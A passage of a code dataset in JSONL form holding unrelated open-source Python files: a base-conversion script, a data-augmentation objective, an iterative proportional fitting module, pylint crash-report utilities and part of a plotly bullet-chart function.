var_base, var_placeholder, \"+\"))\n # add each number (accounting for its place value) to list\n expanded_terms.append(int(var_digit) * (int(var_base) ** var_placeholder))\n\n # if number has a decimal point\n else:\n # go down each digit\n for digit_index in range(0, var_digits):\n # get power of base\n var_placeholder = dot_index - digit_index - 1\n # adjust negative powers to display correctly\n if var_placeholder < 0:\n var_sign = \"-\"\n var_placeholder_adjusted = var_placeholder * -1\n else:\n var_sign = \"+\"\n var_placeholder_adjusted = var_placeholder\n # get digit from number\n var_digit = str_var_num[digit_index]\n # if it's not the last digit, add a \"+\" and at the end\n if digit_index != var_digits - 1:\n # expand the digit out using base and place-value\n expanded_text += \"{} + \".format(expanded_term(var_digit, var_base, var_placeholder_adjusted, var_sign))\n # otherwise no space or plus sign\n else:\n # expand the digit out using base and place-value\n expanded_text += \"{}\".format(expanded_term(var_digit, var_base, var_placeholder_adjusted, var_sign))\n # add each number (accounting for its place value) to list\n expanded_terms.append(int(var_digit) * (int(var_base) ** var_placeholder))\n # return expanded form of number & all the expanded terms\n return [expanded_text, expanded_terms]\n\n\n# get type of input (decimal or integer):\ndef get_type():\n valid_input = False\n # repeat until type input is valid\n while not valid_input:\n # get input from user\n var_num_type = input(\"Is your number a (1) decimal or an (2) integer? Enter the number here: \")\n # check if input is 1\n if var_num_type.strip(\" \") == \"1\":\n return \"decimal\"\n # check if input is 2\n elif var_num_type.strip(\" \") == \"2\":\n return \"integer\"\n # otherwise input is invalid\n else:\n # show error message\n print(\"\\nPlease enter 1 or 2.\\n\")\n # repeat cycle\n valid_input = False\n\n\n# get type of base 10 output (decimal or integer)\ndef get_type_no_input(var_value):\n # convert value into decimal (from string)\n var_value = float(var_value)\n # if value is an integer\n if var_value - int(var_value) == 0:\n return \"integer\"\n # otherwise, it must be a decimal\n else:\n return \"decimal\"\n\n\n# get base value from user\ndef get_base(var_type):\n # assign prompt based on type of base being requested\n if var_type == \"old\":\n prompt = \"What base is your number in? Enter a number (>1) here: \"\n else:\n prompt = \"What base do you want to convert into? Enter a number (>1) here: \"\n base_valid = False\n # repeat until base input is valid\n while not base_valid:\n # get input from user\n var_base = input(\"\\n{}\".format(prompt))\n try:\n # see if input is a number\n x = int(var_base)\n # see if input is an integer bigger than 1\n condition_met = (x > 1) and (float(x) % 1 == 0)\n if condition_met:\n return x\n else:\n # print error message\n print(\"That's not a valid base, try again.\\n\")\n base_valid = False\n # if input is text / other non-integer\n except ValueError:\n # print error message\n print(\"That's not a valid base, try again.\\n\")\n base_valid = False\n\n\n# write out the second expansion step (sum of all expanded terms)\ndef expansion_step_two(var_expanded_values):\n # define used variable\n var_expanded_text = \"\"\n # repeat for every expanded term\n for var_num in range(0, len(var_expanded_values)):\n # if it's not the last expanded term\n if var_num != (len(var_expanded_values) - 1):\n # add a plus at the end\n var_expanded_text += \"{} + \".format(var_expanded_values[var_num])\n # otherwise, no plus sign at the end\n else:\n var_expanded_text += \"{}\".format(var_expanded_values[var_num])\n # return sum of all expanded terms as a text output\n return var_expanded_text\n\n\n# FUNCTIONS TO CONVERT FROM ANY BASE BACK TO DECIMAL:\n# check if user wants a custom alphabet\ndef check_custom_alphabet():\n # define affirmative and negative responses\n affirmative_responses = ['yes', 'y']\n negative_responses = ['no', 'n']\n # preset loop condition before getting an input\n valid_input = False\n # repeat until input is valid (either yes or no)\n while not valid_input:\n # get user input\n valid_input = input(\"\\nWould you like to use a custom alphabet? Yes/no: \").lower()\n if valid_input in affirmative_responses:\n # if input matches any of the affirmative responses, return True\n return True\n elif valid_input in negative_responses:\n # if input matches any of the negative responses, return False\n return False\n else:\n # print error message & keep loop condition false\n print(\"Please enter yes/no.\\n\")\n valid_input = False\n\n\n# get custom alphabet from user\ndef get_custom_alphabet(var_base):\n # give user instruction on entering characters\n print(\"Enter each character in your {}-character alphabet, one by one, pressing after each characters\"\n .format(var_base))\n # define used variable\n var_custom_alphabet = []\n # repeat for each character in the alphabet\n for chars in range(0, var_base):\n # get each alphabet character one by one\n var_custom_alphabet.append(input(\"Character #{}: \".format(chars + 1)).strip(\" \"))\n # return list to caller\n return var_custom_alphabet\n\n\n# convert integer part into new base\ndef convert_integer(var_int_part, var_new_base, var_alphabet):\n # define used variables\n var_converted_num = \"\"\n var_alphabet_indices = []\n # repeat until quotient is zero\n while var_int_part != 0:\n # calculate digits starting from least significant digit\n var_remainder = var_int_part % var_new_base\n # record index of character to call from alphabet at the end\n var_alphabet_indices.insert(0, var_remainder)\n # calculate 'carried-on' (quotient) integer value\n var_int_part = var_int_part // var_new_base\n # concatenate all digits by using the provided alphabet\n for char in range(0, len(var_alphabet_indices)):\n # call each character from the alphabet, one by one, and concatenate the base-converted number\n var_converted_num += var_alphabet[var_alphabet_indices[char]]\n # return base-converted number to use\n return var_converted_num\n\n\n# convert fractional part into new base\ndef convert_fractional(var_fractional_part, var_new_base, var_alphabet):\n # define used variables\n var_converted_num = \"\"\n var_alphabet_indices = []\n # convert fractional part to an actual decimal (float)\n var_fractional_part = float(\"0.{}\".format(str(var_fractional_part)))\n # repeat until fraction part is 0\n while var_fractional_part != 0:\n # calculate digits starting from least significant digit\n var_int_part = math.floor(var_fractional_part * var_new_base)\n # record index of character to call from alphabet at the end\n var_alphabet_indices.append(var_int_part)\n # calculate remaining fractional part\n var_fractional_part = (var_fractional_part * var_new_base) - var_int_part\n # concatenate all digits by using the provided alphabet\n for char in range(0, len(var_alphabet_indices)):\n # call each character from the alphabet, one by one, and concatenate the base-converted number\n var_converted_num += var_alphabet[var_alphabet_indices[char]]\n # return base-converted number to use\n return var_converted_num\n\n\n# split decimal numbers (with decimal points) into integer and fractional parts\ndef split_decimals(var_number):\n # find location of decimal point\n var_point_index = list(str(var_number)).index(\".\")\n # find integer part of number\n var_integer_part = int(str(var_number)[0:var_point_index])\n # find fractional part of number\n var_fractional_part = int(str(var_number)[var_point_index + 1:])\n # return both parts separately\n return [var_integer_part, var_fractional_part]\n\n\n# MAIN ROUTINE\n\n# welcome message\nprint(\"Base conversion program\\n\\n\")\n# disclaimers\nprint(\"*uses hex alphabet for bases of 16 and under\")\nprint(\"*bases bigger than 16 need custom alphabet\\n\\n\")\n\n# get type of input (decimal or integer number)\nnum_type = get_type()\n\n# get number\nnumber = input(\"\\nEnter your number: \")\n\n# assign suitable type to number\nif num_type == \"decimal\":\n number = float(number)\nelse:\n number = int(number)\n\n# get base value\nold_base = get_base(\"old\")\n\n# get base value\nnew_base = get_base(\"new\")\n\n# if base is less than 16, give the option of a custom alphabet\nif new_base <= 16:\n need_custom_alphabet = check_custom_alphabet()\n# if base is bigger than 16, then the custom alphabet is compulsory\nelse:\n need_custom_alphabet = True\n\n# get custom alphabet if required\nif need_custom_alphabet:\n alphabet = get_custom_alphabet(new_base)\n# otherwise, use hex alphabet by default (for bases <= 16)\nelse:\n alphabet = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"A\", \"B\", \"C\", \"D\", \"E\", \"F\"]\n\n# number with base\nnumber_label_base = write_number(number, old_base)\n# get full expansion of number (convert into base-10 number)\nexpansion_raw = full_expansion(number, old_base)\n# calculate spacing for left-aligned printing\nspacer = \" \" * len(number_label_base)\n# calculate the decimal base number\ndecimal_number = sum(expansion_raw[1])\n# assign type of decimal number\ndecimal_type = get_type_no_input(decimal_number)\n\n# write input number & base and full expansion to create text output\noutput_line_one = \"{} = {}\".format(number_label_base, expansion_raw[0])\n# write sum of expanded terms to text output\noutput_line_two = \"{} = {}\".format(spacer, expansion_step_two(expansion_raw[1]))\n# write actual sum of expanded terms (single term) to text output\noutput_line_three = \"{} = {}\".format(spacer, write_number(decimal_number, \"10\"))\n\n\n# convert base-10 number into chosen base\n# assign suitable type to number (in this case, decimal)\nif decimal_type == \"decimal\":\n # convert number type to a float (decimal)\n decimal_number = float(decimal_number)\n # split float into integer and fractional parts\n number_split_raw = split_decimals(decimal_number)\n # assign each part to a variable\n integer_part = number_split_raw[0]\n fractional_part = number_split_raw[1]\n\n # convert each part into the new base, separately\n new_integer_part = convert_integer(integer_part, new_base, alphabet)\n new_fractional_part = convert_fractional(fractional_part, new_base, alphabet)\n\n # concatenate the converted number and store convert number as a string\n converted_number = \"{}.{}\".format(str(new_integer_part), str(new_fractional_part))\n\n# number type myst be an integer\nelse:\n # convert number type to an integer\n decimal_number = int(decimal_number)\n # convert number into the new base\n new_integer_part = convert_integer(decimal_number, new_base, alphabet)\n # store convert number as a string\n converted_number = \"{}\".format(str(new_integer_part))\n\n# attach base in subscript to each version of number\noriginal_number_print = write_number(decimal_number, \"10\") # input base 10\nconverted_number_print = write_number(converted_number, new_base)\n\n# align fourth line with previous lines using another space\nspacer_two = \" \"*(len(number_label_base) - len(original_number_print))\n# print number in both the old base and the new base\noutput_line_four = \"{}{} = {}\".format(spacer_two, original_number_print, converted_number_print)\n\n# print text output\nprint(\"\\nThe full expansion is:\")\nprint()\nprint(output_line_one)\nprint(output_line_two)\nprint(output_line_three)\nprint()\nprint(output_line_four)\n","repo_name":"GenuinelyAref/Electeng101-Learnings","sub_path":"Bases/2c_Number_Base_Conversion.py","file_name":"2c_Number_Base_Conversion.py","file_ext":"py","file_size_in_byte":15435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36631853053","text":"# (C) 2019 Baris Ozmen \n\nimport pandas as pd\nimport numpy as np\n\n\nimport sys\nfrom os.path import dirname, realpath\n\nfile_path = realpath(__file__)\ndir_of_file = dirname(file_path)\nsys.path.insert(0, dir_of_file)\n\nfrom augmenter import augment_by_policy\nfrom lib.helpers import log_and_print\n\n\nclass Objective:\n \"\"\"Objective class for the controller\n\n \"\"\"\n def __init__(self, data, child_model, notebook, config):\n self.data = data\n self.child_model = child_model\n self.opt_samples = config[\"opt_samples\"]\n self.opt_last_n_epochs = config[\"opt_last_n_epochs\"]\n self.notebook = notebook\n self.logging = config[\"logging\"]\n\n def evaluate(self, trial_no, trial_hyperparams):\n \"\"\"Evaluates objective function\n\n Trains the child model k times with same augmentation hyperparameters.\n k is determined by the user by `opt_samples` argument.\n\n Args:\n trial_no (int): no of trial. needed for recording to notebook\n trial_hyperparams (list)\n Returns:\n float: trial-cost = 1 - avg. rewards from samples\n \"\"\"\n\n augmented_data = augment_by_policy(\n self.data[\"X_train\"], self.data[\"y_train\"], *trial_hyperparams\n )\n\n sample_rewards = []\n for sample_no in range(1, self.opt_samples + 1):\n self.child_model.load_pre_augment_weights()\n # TRAIN\n history = self.child_model.fit(self.data, augmented_data)\n #\n reward = self.calculate_reward(history)\n sample_rewards.append(reward)\n self.notebook.record(\n trial_no, trial_hyperparams, sample_no, reward, history\n )\n\n trial_cost = 1 - np.mean(sample_rewards)\n self.notebook.save()\n\n log_and_print(\n f\"{str(trial_no)}, {str(trial_cost)}, {str(trial_hyperparams)}\",\n self.logging,\n )\n\n return trial_cost\n\n def calculate_reward(self, history):\n \"\"\"Calculates reward for the history.\n\n Reward is mean of largest n validation accuracies which are not overfitting.\n n is determined by the user by `opt_last_n_epochs` argument. A validation\n accuracy is considered as overfitting if the training accuracy in the same\n epoch is larger by 0.05\n\n Args:\n history (dict): dictionary of loss and accuracy\n Returns:\n float: reward\n \"\"\"\n history_df = pd.DataFrame(history)\n history_df[\"acc_overfit\"] = history_df[\"acc\"] - history_df[\"val_acc\"]\n reward = (\n history_df[history_df[\"acc_overfit\"] <= 0.10][\"val_acc\"]\n .nlargest(self.opt_last_n_epochs)\n .mean()\n )\n return reward\n","repo_name":"barisozmen/deepaugment","sub_path":"deepaugment/objective.py","file_name":"objective.py","file_ext":"py","file_size_in_byte":2785,"program_lang":"python","lang":"en","doc_type":"code","stars":241,"dataset":"github-code","pt":"3"} +{"seq_id":"12461000547","text":"from typing import Union, Optional, List, Dict, Tuple\n\nimport numpy as np\nimport pandas as pd\nimport itertools\n\nfrom . import catdecat\n\n\nclass MatrixRounder:\n def round(self, matrix: np.ndarray) -> np.ndarray:\n '''Round a matrix to integers, preserving its grand total.'''\n raise NotImplementedError\n\n\nclass LargestRemainderRounder(MatrixRounder):\n '''Round a matrix to integers using the largest-remainder method.\n\n The largest-remainder method (Hare quota) is deterministic and allocates\n roundings to the largest remainders. Ties are broken by selecting the cells\n with largest indices.\n\n :param seed: Meaningless, this method is deterministic.\n '''\n def __init__(self, seed: Optional[int] = None):\n pass # this is a deterministic rounder\n\n def round(self, matrix: np.ndarray) -> np.ndarray:\n # round down to integers, those are sure hits\n rounded = matrix.astype(int)\n # compute remainders to be distributed\n remainders = matrix - rounded\n sum_remaining = int(np.round(remainders.sum()))\n # locate sum_remaining largest remainders\n ind_add = np.argsort(\n remainders, axis=None, kind='stable'\n )[::-1][:sum_remaining]\n rounded[np.unravel_index(ind_add, matrix.shape)] += 1\n return rounded\n\n\nclass RandomSamplingRounder(MatrixRounder):\n '''Round a matrix to integers using random sampling.\n\n Randomly sample from matrix cells, using their values as probabilities,\n until the sum is matched.\n\n :param seed: Seed for the random sampler.\n '''\n def __init__(self, seed: Optional[int] = None):\n self.seed = seed\n\n def round(self, matrix: np.ndarray) -> np.ndarray:\n matrix_sum = matrix.sum()\n final_total = int(np.round(matrix_sum))\n probs = (matrix / matrix_sum).flatten()\n # print('PROBS', probs.sum())\n np.random.seed(self.seed)\n # randomly select cells to be included\n bucket_is = np.random.choice(len(probs), size=final_total, p=probs)\n # count the cells\n cell_counts = np.bincount(bucket_is)\n return np.hstack((\n cell_counts,\n np.zeros(matrix.size - len(cell_counts), dtype=cell_counts.dtype)\n )).reshape(*matrix.shape)\n\n\nROUNDERS = {\n 'lrem': LargestRemainderRounder,\n 'random': RandomSamplingRounder,\n}\n\n\nclass IPFSynthesizer:\n '''Synthesize a dataframe using iterative proportional fitting.\n\n Creates a dataframe that has similar statistical properties to the original\n but does not replicate its rows directly. Preserves univariate\n distributions and covariate distributions to a chosen degree.\n Non-categorical variables are converted to categorical for synthesis\n and then reconstructed using estimated distributions.\n\n :param cond_dim: Degree to which to match covariate distributions.\n By default, covariates to degree two (two variables' cross-tables)\n will be preserved. If you set this higher than the number of columns in\n the dataframe, the dataframe will be replicated exactly (except for\n the categorization and decategorization of non-categorical variables).\n :param discretizer: A :class:`catdecat.DataFrameDiscretizer` instance to\n convert numeric variables to and from categorical ones.\n Can be specified as a single instance or per variable in a dictionary.\n If not given, a single instance with default setup will be created.\n :param rounder: Method to use to round the IPF matrix to integer counts to\n enable row generation. Use a MatrixRounder instance or one of the\n following strings:\n\n - `'lrem'` uses the deterministic largest remainder method (see\n :class:`LargestRemainderRounder` for details) which is more suited\n to small datasets.\n - `'random'` uses the non-deterministic random generation method (see\n :class:`RandomSamplingRounder` for details), more suited to larger\n datasets.\n\n :param ignore_cols: Columns from the input dataframe to not synthesize\n (identifiers etc.); will be omitted from the output.\n :param seed: Random generator seed for the discretizer and unroller.\n (If a custom discretizer is specified, its seed is not overwritten by\n this setting.)\n '''\n def __init__(self,\n cond_dim: int = 2,\n discretizer: Optional[catdecat.DataFrameDiscretizer] = None,\n rounder: Union[str, MatrixRounder] = 'lrem',\n ignore_cols: List[str] = [],\n seed: Optional[int] = None,\n ):\n if cond_dim < 1:\n raise ValueError('cannot preserve less than one-dimensional sums')\n self.cond_dim = cond_dim\n self.rounder = (\n ROUNDERS[rounder](seed=seed) if isinstance(rounder, str)\n else rounder\n )\n self.discretizer = (\n discretizer if discretizer is not None\n else catdecat.DataFrameDiscretizer(seed=seed)\n )\n self.ignore_cols = ignore_cols\n\n def fit(self, dataframe: pd.DataFrame) -> None:\n '''Prepare the synthesis according to the provided dataframe.\n\n :param dataframe: Dataframe to synthesize. Every column is replicated;\n if there are any identifier columns that should not be replicated,\n remove them beforehand.\n '''\n discrete = self.discretizer.fit_transform(\n dataframe.drop(self.ignore_cols, axis=1)\n )\n # marginals, axis_values = get_marginals(discrete)\n self.axis_values = get_axis_values(discrete)\n self.synthed_matrix = obscure_seed(\n self.calc_true_matrix(discrete), self.cond_dim\n )\n self.original_n_rows = dataframe.shape[0]\n\n def sample(self, n: Optional[int] = None) -> pd.DataFrame:\n '''Generate a synthetic dataframe with a given number of rows.\n\n :param n: Number of rows for the output dataframe. If not given,\n it will match the fitting dataframe.\n '''\n matrix = self.synthed_matrix\n if n is not None:\n matrix *= (n / self.original_n_rows)\n return self.discretizer.inverse_transform(\n map_axes(unroll(self.rounder.round(matrix)), self.axis_values)\n )\n\n def fit_transform(self, dataframe: pd.DataFrame) -> pd.DataFrame:\n '''Fit the synthesizer and synthesize an equal-size dataframe.'''\n self.fit(dataframe)\n return self.sample()\n\n def calc_true_matrix(self, dataframe: pd.DataFrame) -> np.ndarray:\n '''Calculate a IPF matrix reflecting true observation frequencies.'''\n for col, mapper in self.axis_values.items():\n dataframe[col] = dataframe[col].map(\n pd.Series(mapper.index, index=mapper.values)\n )\n true_seed = np.zeros(tuple(len(mapper) for mapper in self.axis_values.values()))\n for indices in dataframe.itertuples(index=False, name=None):\n true_seed[indices] += 1\n return true_seed\n\n\ndef ipf(marginals: List[np.ndarray],\n seed_matrix: Optional[np.ndarray] = None,\n precision: float = 1e-9\n ) -> np.ndarray:\n '''Perform iterative proportional fitting (IPF) on 1D marginal sums.\n\n Reformats the marginals to a generic n-D format and then delegates to\n :func:`ipf_multidim`.\n\n :param marginals: Marginal sums for the IPF dimensions. The marginal sums\n of the output matrix will match these. The list should contain\n one-dimensional arrays that sum to the same number.\n :param seed_matrix: Seed matrix, shows a-priori conditional probabilities\n across dimensions.\n :param precision: Terminate IPF when the largest difference of an\n individual cell value between two iterations drops below this\n threshold.\n '''\n n_dim = len(marginals)\n if seed_matrix is not None and len(seed_matrix.shape) != n_dim:\n raise ValueError('marginal dimensions do not match IPF seed')\n return ipf_multidim(\n [\n marginal.reshape([\n -1 if i == dim_i else 1 for i in range(n_dim)\n ])\n for dim_i, marginal in enumerate(marginals)\n ],\n seed_matrix,\n precision=precision\n )\n\n\ndef ipf_multidim(marginals: List[np.ndarray],\n seed_matrix: Optional[np.ndarray] = None,\n precision: float = 1e-9\n ) -> np.ndarray:\n '''Perform iterative proportional fitting (IPF) on arbitrary marginal sums.\n\n :param marginals: Marginal sums for the final matrix. The list should\n contain arrays with equal sums. Their dimensions should correspond to\n the seed matrix or be 1 - at dimensions for which the given marginal\n sum is summed (contracted).\n :param seed_matrix: Seed matrix, shows a-priori conditional probabilities\n across dimensions. If not given, the matrix shape will be computed from\n the marginals and it will be initialized by ones.\n :param precision: Terminate IPF when the largest difference of an\n individual cell value between two iterations drops below this\n threshold.\n '''\n if seed_matrix is None:\n shape = tuple(\n max(marg.shape[i] for marg in marginals)\n for i in range(min(marg.ndim for marg in marginals))\n )\n matrix = np.ones(shape)\n else:\n matrix = seed_matrix.astype(float)\n shape = matrix.shape\n ipf_check_marginals(marginals, shape)\n other_dims = [\n tuple(\n dim_i for dim_i in range(len(shape))\n if marginal.shape[dim_i] == 1\n )\n for marginal in marginals\n ]\n diff = precision + 1\n while diff > precision:\n previous = matrix\n for marginal, other_dimtup in zip(marginals, other_dims):\n dim_sums = matrix.sum(axis=other_dimtup).reshape(marginal.shape)\n matrix = matrix / np.where(dim_sums == 0, 1, dim_sums) * marginal\n diff = abs(matrix - previous).max()\n return matrix\n\n\ndef ipf_check_marginals(marginals: List[np.ndarray], shape: Tuple[int]) -> None:\n '''Checks whether the marginal sums are valid for IPF of given shape.\n\n Used internally by :func:`ipf_multidim` so uses the format of marginals\n required by that function.\n\n :param marginals: List of marginal sum arrays to be checked.\n :param shape: Shape of the resulting matrix.\n '''\n total = marginals[0].sum()\n for i, marginal in enumerate(marginals):\n if i != 0 and not np.isclose(marginal.sum(), total):\n raise ValueError('marginal sum totals do not match')\n if marginal.ndim != len(shape):\n raise ValueError('marginal dimensions do not match seed')\n for j, mshape in enumerate(marginal.shape):\n if mshape != 1 and mshape != shape[j]:\n raise ValueError('marginal shape does not match seed')\n\n\ndef unroll(matrix: np.ndarray) -> np.ndarray:\n '''Convert a matrix of cell counts to a matrix of cell indices with those counts.\n\n :param matrix: A matrix of non-negative integers denoting counts of\n observations. Each cell will generate this many rows with its positional\n indices.\n '''\n cumcounts = np.cumsum(matrix)\n inds = np.zeros(cumcounts[-1], dtype=int)\n np.add.at(inds, cumcounts[:np.searchsorted(cumcounts, cumcounts[-1])], 1)\n return np.stack(np.unravel_index(\n np.cumsum(inds), matrix.shape\n )).transpose()\n\n\ndef map_axes(indices: np.ndarray,\n axis_values: Dict[str, pd.Series],\n ) -> pd.DataFrame:\n '''Convert a category index array to a dataframe with categories.\n\n :param indices: A 2-D integer array.\n :param axis_values: A dictionary with length matching the column count of\n `indices`. Its keys are names of the columns to be assigned to the\n dataframe, while values map the category indices from the given column\n of the integer array to the expected dataframe values.\n '''\n dataframe = pd.DataFrame(indices, columns=list(axis_values.keys()))\n for col, mapper in axis_values.items():\n dataframe[col] = dataframe[col].map(mapper)\n return dataframe\n\n\ndef obscure_seed(true: np.ndarray,\n cond_dim: int = 2\n ) -> np.ndarray:\n '''Produce a matrix preserving some cross-sums of the original.\n\n :param true: The matrix to be obscured. The output matrix will match\n sums of its cells as aggregated to each combination of `cond_dim`\n dimensions.\n :param cond_dim: The number of dimensions to preserve cross-sums for.\n '''\n if cond_dim < 1:\n raise ValueError('invalid preservation dimension count')\n marginals = []\n dim_is = list(range(true.ndim))\n for sel_dim_is in itertools.combinations(dim_is, cond_dim):\n left_dim_is = []\n sum_indexer = []\n for dim_i in dim_is:\n if dim_i in sel_dim_is:\n sum_indexer.append(true.shape[dim_i])\n else:\n sum_indexer.append(1)\n left_dim_is.append(dim_i)\n marginals.append(true.sum(axis=tuple(left_dim_is)).reshape(sum_indexer))\n return ipf_multidim(marginals)\n\n\ndef get_axis_values(dataframe: pd.DataFrame\n ) -> Dict[str, pd.Series]:\n '''Compute mappings of indices to categories for each dataframe column.'''\n maps = {}\n for col in dataframe:\n values = pd.Series(dataframe[col].unique()).sort_values().values\n maps[col] = pd.Series(values, index=np.arange(len(values)))\n return maps\n","repo_name":"simberaj/pysynth","sub_path":"pysynth/ipf.py","file_name":"ipf.py","file_ext":"py","file_size_in_byte":13657,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"3"} +{"seq_id":"38319696248","text":"from __future__ import annotations\n\nimport contextlib\nimport platform\nimport sys\nimport traceback\nfrom collections.abc import Iterator, Sequence\nfrom datetime import datetime\nfrom pathlib import Path\n\nfrom pylint.constants import PYLINT_HOME, full_version\n\n\ndef prepare_crash_report(ex: Exception, filepath: str, crash_file_path: str) -> Path:\n issue_template_path = (\n Path(PYLINT_HOME) / datetime.now().strftime(str(crash_file_path))\n ).resolve()\n with open(filepath, encoding=\"utf8\") as f:\n file_content = f.read()\n template = \"\"\n if not issue_template_path.exists():\n template = \"\"\"\\\nFirst, please verify that the bug is not already filled:\nhttps://github.com/pylint-dev/pylint/issues/\n\nThen create a new issue:\nhttps://github.com/pylint-dev/pylint/issues/new?labels=Crash 💥%2CNeeds triage 📥\n\n\n\"\"\"\n template += f\"\"\"\nIssue title:\nCrash ``{ex}`` (if possible, be more specific about what made pylint crash)\n\n### Bug description\n\nWhen parsing the following ``a.py``:\n\n\n\n```python\n{file_content}\n```\n\n### Command used\n\n```shell\npylint a.py\n```\n\n### Pylint output\n\n
\n \n pylint crashed with a ``{ex.__class__.__name__}`` and with the following stacktrace:\n \n\n```python\n\"\"\"\n template += traceback.format_exc()\n template += f\"\"\"\n```\n\n\n
\n\n### Expected behavior\n\nNo crash.\n\n### Pylint version\n\n```shell\n{full_version}\n```\n\n### OS / Environment\n\n{sys.platform} ({platform.system()})\n\n### Additional dependencies\n\n\n\"\"\"\n try:\n with open(issue_template_path, \"a\", encoding=\"utf8\") as f:\n f.write(template)\n except Exception as exc: # pylint: disable=broad-except\n print(\n f\"Can't write the issue template for the crash in {issue_template_path} \"\n f\"because of: '{exc}'\\nHere's the content anyway:\\n{template}.\",\n file=sys.stderr,\n )\n return issue_template_path\n\n\ndef get_fatal_error_message(filepath: str, issue_template_path: Path) -> str:\n return (\n f\"Fatal error while checking '{filepath}'. \"\n f\"Please open an issue in our bug tracker so we address this. \"\n f\"There is a pre-filled template that you can use in '{issue_template_path}'.\"\n )\n\n\ndef _augment_sys_path(additional_paths: Sequence[str]) -> list[str]:\n original = list(sys.path)\n changes = []\n seen = set()\n for additional_path in additional_paths:\n if additional_path not in seen:\n changes.append(additional_path)\n seen.add(additional_path)\n\n sys.path[:] = changes + sys.path\n return original\n\n\n@contextlib.contextmanager\ndef augmented_sys_path(additional_paths: Sequence[str]) -> Iterator[None]:\n \"\"\"Augment 'sys.path' by adding non-existent entries from additional_paths.\"\"\"\n original = _augment_sys_path(additional_paths)\n try:\n yield\n finally:\n sys.path[:] = original\n\n\ndef _is_relative_to(self: Path, *other: Path) -> bool:\n \"\"\"Checks if self is relative to other.\n\n Backport of pathlib.Path.is_relative_to for Python <3.9\n TODO: py39: Remove this backport and use stdlib function.\n \"\"\"\n try:\n self.relative_to(*other)\n return True\n except ValueError:\n return False\n","repo_name":"pylint-dev/pylint","sub_path":"pylint/lint/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3473,"program_lang":"python","lang":"en","doc_type":"code","stars":4936,"dataset":"github-code","pt":"3"} +{"seq_id":"8360426498","text":"import math\n\nfrom plotly import exceptions, optional_imports\nimport plotly.colors as clrs\nfrom plotly.figure_factory import utils\n\nimport plotly\nimport plotly.graph_objs as go\n\npd = optional_imports.get_module(\"pandas\")\n\n\ndef _bullet(\n df,\n markers,\n measures,\n ranges,\n subtitles,\n titles,\n orientation,\n range_colors,\n measure_colors,\n horizontal_spacing,\n vertical_spacing,\n scatter_options,\n layout_options,\n):\n num_of_lanes = len(df)\n num_of_rows = num_of_lanes if orientation == \"h\" else 1\n num_of_cols = 1 if orientation == \"h\" else num_of_lanes\n if not horizontal_spacing:\n horizontal_spacing = 1.0 / num_of_lanes\n if not vertical_spacing:\n vertical_spacing = 1.0 / num_of_lanes\n fig = plotly.subplots.make_subplots(\n num_of_rows,\n num_of_cols,\n print_grid=False,\n horizontal_spacing=horizontal_spacing,\n vertical_spacing=vertical_spacing,\n )\n\n # layout\n fig[\"layout\"].update(\n dict(shapes=[]),\n title=\"Bullet Chart\",\n height=600,\n width=1000,\n showlegend=False,\n barmode=\"stack\",\n annotations=[],\n margin=dict(l=120 if orientation == \"h\" else 80),\n )\n\n # update layout\n fig[\"layout\"].update(layout_options)\n\n if orientation == \"h\":\n width_axis = \"yaxis\"\n length_axis = \"xaxis\"\n else:\n width_axis = \"xaxis\"\n length_axis = \"yaxis\"\n\n for key in fig[\"layout\"]:\n if \"xaxis\" in key or \"yaxis\" in key:\n fig[\"layout\"][key][\"showgrid\"] = False\n fig[\"layout\"][key][\"zeroline\"] = False\n if length_axis in key:\n fig[\"layout\"][key][\"tickwidth\"] = 1\n if width_axis in key:\n fig[\"layout\"][key][\"showticklabels\"] = False\n fig[\"layout\"][key][\"range\"] = [0, 1]\n\n # narrow domain if 1 bar\n if num_of_lanes <= 1:\n fig[\"layout\"][width_axis + \"1\"][\"domain\"] = [0.4, 0.6]\n\n if not range_colors:\n range_colors = [\"rgb(200, 200, 200)\", \"rgb(245, 245, 245)\"]\n if not measure_colors:\n measure_colors = [\"rgb(31, 119, 180)\", \"rgb(176, 196, 221)\"]\n\n for row in range(num_of_lanes):\n # ranges bars\n for idx in range(len(df.iloc[row][\"ranges\"])):\n inter_colors = clrs.n_colors(\n range_colors[0], range_colors[1], len(df.iloc[row][\"ranges\"]), \"rgb\"\n )\n x = (\n [sorted(df.iloc[row][\"ranges\"])[-1 - idx]]\n if orientation == \"h\"\n else [0]\n )\n y = (\n [0]\n if orientation == \"h\"\n else [sorted(df.iloc[row][\"ranges\"])[-1 - idx]]\n )\n bar = go.Bar(\n x=x,\n y=y,\n marker=dict(color=inter_colors[-1 - idx]),\n name=\"ranges\",\n hoverinfo=\"x\" if orientation == \"h\" else \"y\",\n orientation=orientation,\n width=2,\n base=0,\n xaxis=\"x{}\".format(row + 1),\n yaxis=\"y{}\".format(row + 1),\n )\n fig.add_trace(bar)\n\n # measures bars\n for idx in range(len(df.iloc[row][\"measures\"])):\n inter_colors = clrs.n_colors(\n measure_colors[0],\n measure_colors[1],\n len(df.iloc[row][\"measures\"]),\n \"rgb\",\n )\n x = (\n [sorted(df.iloc[row][\"measures\"])[-1 - idx]]\n if orientation == \"h\"\n else [0.5]\n )\n y = (\n [0.5]\n if orientation == \"h\"\n else [sorted(df.iloc[row][\"measures\"])[-1 - idx]]\n )\n bar = go.Bar(\n x=x,\n y=y,\n marker=dict(color=inter_colors[-1 - idx]),\n name=\"measures\",\n hoverinfo=\"x\" if orientation == \"h\" else \"y\",\n orientation=orientation,\n width=0.4,\n base=0,\n xaxis=\"x{}\".format(row + 1),\n yaxis=\"y{}\".format(row + 1),\n )\n fig.add_trace(bar)\n\n # markers\n x = df.iloc[row][\"markers\"] if orientation == \"h\" else [0.5]\n y = [0.5] if orientation == \"h\" else df.iloc[row][\"markers\"]\n markers = go.Scatter(\n x=x,\n y=y,\n name=\"markers\",\n hoverinfo=\"x\" if orientation == \"h\" else \"y\",\n xaxis=\"x{}\".format(row + 1),\n yaxis=\"y{}\".format(row + 1),\n **scatter_options,\n )\n\n fig.add_trace(markers)\n\n # titles and subtitles\n title = df.iloc[row][\"titles\"]\n if \"subtitles\" in df:\n subtitle = \"
